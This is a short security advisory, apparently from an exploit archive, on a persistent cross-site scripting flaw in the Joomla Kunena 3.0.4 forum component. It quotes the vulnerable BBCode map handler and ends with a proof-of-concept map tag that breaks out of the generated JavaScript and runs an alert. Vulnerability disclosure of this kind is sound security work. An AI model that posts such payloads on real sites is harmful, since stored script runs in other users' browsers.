Joomla Kunena 3.0.4 Cross Site Scripting

`Persistent XSS in Joomla::Kunena 3.0.4  
26. February 2014  
by Qoppa  
  
+++ Description  
  
"Kunena is the leading Joomla forum component. Downloaded more than 3,750,000 times in nearly 6 years."  
  
Kunena is written in PHP. Users can post a Google Map using the following BBCode  
[map]content[/map]  
  
Kunena creates a JavaScript based on input, but doesn't decode it correctly.  
  
  
+++ Analysis  
  
Vulnerable function in \bbcode\bbcode.php (lines 1049-1116)  
  
1049 function DoMap($bbcode, $action, $name, $default, $params, $content) {  
...  
1078 $document->addScriptDeclaration("  
1079 // <![CDATA[  
...  
1097 var contentString = '<p><strong>".JText::_('COM_KUNENA_GOOGLE_MAP_NO_GEOCODE', true)." <i>".json_encode($content)."</i></strong></p>';  
...  
1112 // ]]>"  
1113 );  
  
Single quotes remain untouched in $content, so it's possible to break out of encapsulation.  
  
  
+++ PoC Exploit  
  
[map]'}});}});alert('XSS');(function(){{(function(){{var v='[/map]  
`